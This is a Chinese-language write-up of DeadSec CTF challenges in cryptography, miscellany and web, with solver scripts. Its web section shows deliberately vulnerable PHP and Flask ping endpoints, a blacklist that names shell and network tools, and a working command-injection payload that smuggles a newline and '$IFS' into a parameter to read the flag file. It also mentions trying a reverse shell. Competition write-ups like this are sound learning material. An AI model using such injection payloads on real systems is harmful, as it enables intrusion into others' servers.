比赛网址
https://deadsec.ctf.ae/

Misc

Welcome

Mic check

简单,写个脚本交互100次就行了

from pwn import *

p = remote('ip', port)
for i in range(100):
s = p.recvline()
print(s)
r = s[12:13+i]
print(r)
p.sendlineafter(b'submit test words > ', r)
p.interactive()

MAN in the middle


可以看到只有上下两个波形,二进制?最后那一段可以忽略不看
但是数据量好大,手动提不现实
010查看16进制,发现FF 7F*44,算一段,01 80*44也算作一段
前者为1,后者为0,解不出来,尝试01为1,10为0

from Crypto.Util.number import *
with open("MIM.MP3", 'rb')as f:
a = f.read()
b = ''
flag = ''
for i in range(44, len(a), 88):
if a[i:i+88] == b'\xff\x7f'*44:
b += '1'
elif a[i:i+88] == b'\x01\x80'*44:
b += '0'
for i in range(0, len(b), 2):
if b[i:i+2] == '01':
flag += '1'
elif b[i:i+2] == '10':
flag += '0'
print(long_to_bytes(int(flag, 2)))
manchester encoding is a method of encoding digital data in which each bit of data is represented by two voltage levels, ensuring a transition at the middle of each bit period. this transition serves as both a clock and data signal, making it highly effective for synchronous communication. developed by g. e. thomas, manchester encoding is widely used in various communication protocols, including ethernet. its primary advantage lies in its robustness against timing errors and ease of clock recovery, as the regular transitions enable the receiver to maintain synchronization with the transmitter. by embedding the clock signal within the data stream, manchester encoding mitigates the risk of synchronization loss, making it a reliable choice for high-speed digital data transmission. and here is your flag: dead{m4nch3573r_4_7h3_w1n} good job!

Forgotten Password()

generate.py

from io import BytesIO
import os
import subprocess
import pycdlib # pip install pycdlib

try:
FLAG = open("flag.txt","r").read()
except FileNotFoundError:
FLAG = "fake_flag_for_testing"

iso = pycdlib.PyCdlib()
iso.new(interchange_level=4)

iso.add_fp(BytesIO(FLAG.encode()), len(FLAG), '/flag.txt;1')

iso.write('challenge.iso')
iso.close()

subprocess.check_output(["zip", "challenge.zip", "challenge.iso", "-P", FLAG])

然后附件就是一个加密文件

开眼了https://blog.csdn.net/qq_42880719/article/details/140753854

Crypto

flag killer

#!/usr/bin/python3

from binascii import hexlify

flag = hexlify(b'DEAD{test}').decode()

index = 0
output = ''


def FLAG_KILLER(value):
index = 0
temp = []
output = 0
while value > 0:
temp.append(2 - (value % 4) if value % 2 != 0 else 0)
value = (value - temp[index])/2
index += 1
temp = temp[::-1]
for index in range(len(temp)):
output += temp[index] * 3 ** (len(temp) - index - 1)
return output


while index < len(flag):
output += '%05x' % int(FLAG_KILLER(int(flag[index:index+3], 16)))
index += 3

print(output)

注意到flag[index:index+3]flag = hexlify(b'DEAD{test}').decode()output是以五位一组的,我们可以通过0xfff爆破一手

from Crypto.Util.number import *
def FLAG_KILLER(value):
index = 0
temp = []
output = 0
while value > 0:
temp.append(2 - (value % 4) if value % 2 != 0 else 0)
value = (value - temp[index])/2
index += 1
temp = temp[::-1]
for index in range(len(temp)):
output += temp[index] * 3 ** (len(temp) - index - 1)
return output


output = '0e98b103240e99c71e320dd330dd430de2629ce326a4a2b6b90cd201030926a090cfc5269f904f740cd1001c290cd10002900cd100ee59269a8269a026a4a2d05a269a82aa850d03a2b6b900883'
enc = []
for i in range(0, len(output), 5):
enc.append(output[i:i+5])
for i in enc:
for j in range(0xfff):
if FLAG_KILLER(j) == int(i, 16):
# print(hex(j)[2:], end=' ')
if len(hex(j)[2:]) == 2:
print('0', end='')
print(hex(j)[2:], end='')
print('\n')
print(long_to_bytes(
0x444541447b323633663837316538383065396463376432343031303030333034666336306539386337633538387d))

444541447b3236336638373165383830653964633764323430313030303330346663363065393863376335383807d
0x7d},最后的07d->7d即可

Raul Rosas

from Crypto.Util.number import * 
from sympy import nextprime

p1 = bin(getPrime(1024))[2:]
p2 = p1[:605]
p2 = p2 + ('0'*(len(p1)-len(p2)))

p1 = int(p1,2)
p2 = nextprime(int(p2,2))

q1 = getPrime(300)
q2 = getPrime(300)

n1 = p1*p1*q1
n2 = p2*p2*q2

e = 65537
flag = bytes_to_long(b'REDACTED')
c1 = pow(flag,e,n1)
c2 = pow(flag,e,n2)

print(f'{n1=}')
print(f'{n2=}')
print(f'{c1=}')
print(f'{c2=}')

一开始还在想n1,n2之间的联系,发现,除了p2的高位是p1的前605位之外,没有任何可以利用的地方,当时没有思路,瞄了一眼,发现还得是展开,不展开没法做这种题

我们假设高位为pHp2=pH2419+x我们假设高位为p_{H},p_{2}=p_{H}*2^{419}+x
n2=(p2)2q2=(pH2419+x)2q2=q2pH22838+q2pHx2420+q2x2n2=(p2)^{2}*q2=(p_{H}*2^{419}+x)^{2}*q2=q2*p_{H}^{2}*2^{838}+q2*p_{H}*x*2^{420}+q2*x^{2}
q2pH22838+q2pHx2420,表明后420位均为0,学到了q2*p_{H}^{2}*2^{838}+q2*p_{H}*x*2^{420},表明后420位均为0,学到了
我们验证一下,发现果然如此,即使q2达到了300位,但q2x2也达不到400我们验证一下,发现果然如此,即使q2达到了300位,但q2*x^{2}也达不到400位
q2x2进行分解,得到q2,后续就是简单的RSA对q2*x^{2}进行分解,得到q2,后续就是简单的RSA

from Crypto.Util.number import *
import gmpy2
n1 = 33914684861748025775039281034732118800210172226202865626649257734640860626122496857824722482435571212266837521062975265470108636677204118801674455876175256919094583111702086440374440069720564836535455468886946320281180036997133848753476194808776154286740338853149382219104098930424628379244203425638143586895732678175237573473771798480275214400819978317207532566320561087373402673942574292313462136068626729114505686759701305592972367260477978324301469299251420212283758756993372112866755859599750559165005003201133841030574381795101573167606659158769490361449603797836102692182242091338045317594471059984757228202609971840405638858696334676026230362235521239830379389872765912383844262135900613776738814453
n2 = 45676791074605066998943099103364315794006332282441283064976666268034083630735700946472676852534025506807314001461603559827433723291528233236210007601454376876234611894686433890588598497194981540553814858726066215204034517808726230108550384400665772370055344973309767254730566845236167460471232855535131280959838577294392570538301153645042892860893604629926657287846345355440026453883519493151299226289819375073507978835796436834205595029397133882344120359631326071197504087811348353107585352525436957117561997040934067881585416375733220284897170841715716721313708208669285280362958902914780961119036511592607473063247721427765849962400322051875888323638189434117452309193654141881914639294164650898861297303
c1 = 5901547799381070840359392038174495588170513247847714273595411167296183629412915012222227027356430642556122066895371444948863326101566394976530551223412292667644441453331065752759544619792554573114517925105448879969399346787436142706971884168511458472259984991259195488997495087540800463362289424481986635322685691583804462882482621269852340750338483349943910768394808039522826196641550659069967791745064008046300108627004744686494254057929843770761235779923141642086541365488201157760211440185514437408144860842733403640608261720306139244013974182714767738134497204545868435961883422098094282377180143072849852529146164709312766146939608395412424617384059645917698095750364523710239164016515753752257367489
c2 = 3390569979784056878736266202871557824004856366694719533085092616630555208111973443587439052592998102055488632207160968490605754861061546019836966349190018267098889823086718042220586285728994179393183870155266933282043334755304139243271973119125463775794806745935480171168951943663617953860813929121178431737477240925668994665543833309966378218572247768170043609879504955562993281112055931542971553613629203301798161781786253559679002805820092716314906043601765180455118897800232982799905604384587625502913096329061269176369601390578862509347479694697409545495592160695530037113884443071693090949908858172105089597051790694863761129626857737468493438459158669342430468741236573321658187309329276080990875017
e = 65537
print(bin(n2)[-420:])
a = 0b11100110111010000010101011000000011010100111100000010000101011001001011100001111111101100011100100011011111110000001110110010010111111001100111100011010101000010001100100000010000111010011010001101111011101101011111011111000000111100001001100001100111011110011011010001000110111110000101010110010111000111010010111
print(a)
q2 = 1651764208712002362909070586532659043033781575172011989418709627827265240039573208353001543
p2 = gmpy2.iroot(n2//q2, 2)[0]
phi = p2*(p2-1)*(q2-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c2, d, n2)))

也可以,获取p1的高位,然后Coppersmith

p2 = gmpy2.iroot(n2//q2, 2)[0]
print((p2-135)//2**419)
from Crypto.Util.number import *
p_high = 122830320217543459284982024882841073827939417137910115953386564908468377551455992496473351404186648878970526591569967957872837401323678762728913022319937981167441005980368583455484927
n = 33914684861748025775039281034732118800210172226202865626649257734640860626122496857824722482435571212266837521062975265470108636677204118801674455876175256919094583111702086440374440069720564836535455468886946320281180036997133848753476194808776154286740338853149382219104098930424628379244203425638143586895732678175237573473771798480275214400819978317207532566320561087373402673942574292313462136068626729114505686759701305592972367260477978324301469299251420212283758756993372112866755859599750559165005003201133841030574381795101573167606659158769490361449603797836102692182242091338045317594471059984757228202609971840405638858696334676026230362235521239830379389872765912383844262135900613776738814453
c = 5901547799381070840359392038174495588170513247847714273595411167296183629412915012222227027356430642556122066895371444948863326101566394976530551223412292667644441453331065752759544619792554573114517925105448879969399346787436142706971884168511458472259984991259195488997495087540800463362289424481986635322685691583804462882482621269852340750338483349943910768394808039522826196641550659069967791745064008046300108627004744686494254057929843770761235779923141642086541365488201157760211440185514437408144860842733403640608261720306139244013974182714767738134497204545868435961883422098094282377180143072849852529146164709312766146939608395412424617384059645917698095750364523710239164016515753752257367489
e = 65537
pbits = 1024 # p原本位数
kbits = pbits - p_high.nbits() # p丢失位数
p_high = p_high << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p_high
roots = f.small_roots(X=2 ^ kbits, beta=0.4, epsilon=0.02)
for root in roots:
p = p_high+int(root)
q1=n//(p^2)
phi=p*(p-1)*(q1-1)
d=inverse(e,phi)
print(long_to_bytes(int(pow(c,d,n))))

Web

Bing2

6,我说怎么没有源代码的呢

喜欢放Discord是吧,我结束才发现。。。
还好题目环境还在

ezstart.zip: https://drive.proton.me/urls/QVWQK2SW0R#fEepu7MJU6XY
Bing2.zip: https://drive.proton.me/urls/JFNPCV77V4#dLqn62g51E4N
Bing_revenge.zip: https://drive.proton.me/urls/B53WQK787C#sMmQvNMuda9G

bing.php

<?php

if (isset($_POST['Submit'])) {
$target = trim($_REQUEST['ip']);

$substitutions = array(
' ' => '',
'&' => '',
'&&' => '',
'(' => '',
')' => '',
'-' => '',
'`' => '',
'|' => '',
'||' => '',
'; ' => '',
'%' => '',
'~' => '',
'<' => '',
'>' => '',
'/ ' => '',
'\\' => '',
'ls' => '',
'cat' => '',
'less' => '',
'tail' => '',
'more' => '',
'whoami' => '',
'pwd' => '',
'busybox' => '',
'nc' => '',
'exec' => '',
'sh' => '',
'bash' => '',
'php' => '',
'perl' => '',
'python' => '',
'ruby' => '',
'java' => '',
'javac' => '',
'gcc' => '',
'g++' => '',
'make' => '',
'cmake' => '',
'nmap' => '',
'wget' => '',
'curl' => '',
'scp' => '',
'ssh' => '',
'ftp' => '',
'telnet' => '',
'dig' => '',
'nslookup' => '',
'iptables' => '',
'chmod' => '',
'chown' => '',
'chgrp' => '',
'kill' => '',
'killall' => '',
'service' => '',
'systemctl' => '',
'sudo' => '',
'su' => '',
'flag' => '',
);

$target = str_replace(array_keys($substitutions), $substitutions, $target);

if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping ' . $target);
} else {
$cmd = shell_exec('ping -c 4 ' . (string)$target);
echo $cmd;

}
}

可见过滤了一大堆,命令拼接符也被过滤了很多
就是这个的升级版
https://www.cnblogs.com/qiushuo/p/17487444.html#command-injection

%0a换行符,需要php环境
%0d回车符,需要php环境

测试发现%0a可用,\n也能用,学到了

import requests
# url = 'https://a515fccbd8f605e79a96ae35.deadsec.quest/bing.php?ip=127.0.0.1%0adir$IFS/'
url = 'https://a515fccbd8f605e79a96ae35.deadsec.quest/bing.php?ip=127.0.0.1%0anl$IFS/f*'
data = {'Submit': 1}
res = requests.post(url, data=data, allow_redirects=False)
print(res.text)

bing_revenge

app.py

#!/usr/bin/env python3
import os
from flask import Flask, request, render_template

app = Flask(__name__)


@app.route('/')
def index():
return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'{host}'
if not cmd:
return render_template('ping_result.html', data='Hello')
try:
output = os.system(f'ping -c 4 {cmd}')
return render_template('ping_result.html', data="DeadSecCTF2024")
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'error when executing command')
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Command timed out')

return render_template('ping.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

output = os.system(f'ping -c 4 {cmd}'),这里没有输出了,但也没有过滤了,哦豁
想起个docker,看看能不能反弹shell,但是.sh的我不会起………………

ezstart()

upload.php

<?php

session_start();

function is_malware($file_path)
{
$content = file_get_contents($file_path);

if (strpos($content, '<?php') !== false) {
return true;
}

return false;
}

function is_image($path, $ext)
{
// Define allowed extensions
$allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];

// Check if the extension is allowed
if (!in_array(strtolower($ext), $allowed_extensions)) {
return false;
}

// Check if the file is a valid image
$image_info = getimagesize($path);
if ($image_info === false) {
return false;
}

return true;
}

if (isset($_FILES) && !empty($_FILES)) {

$uploadpath = "tmp/";

$ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
$filename = basename($_FILES["files"]["name"], "." . $ext);

$timestamp = time();
$new_name = $filename . '_' . $timestamp . '.' . $ext;
$upload_dir = $uploadpath . $new_name;

if ($_FILES['files']['size'] <= 10485760) {
move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
} else {
echo $error2 = "File size exceeds 10MB";
}

if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
$_SESSION['context'] = "Upload successful";
} else {
$_SESSION['context'] = "File is not a valid image or is potentially malicious";
}

echo $upload_dir;
unlink($upload_dir);
}

?>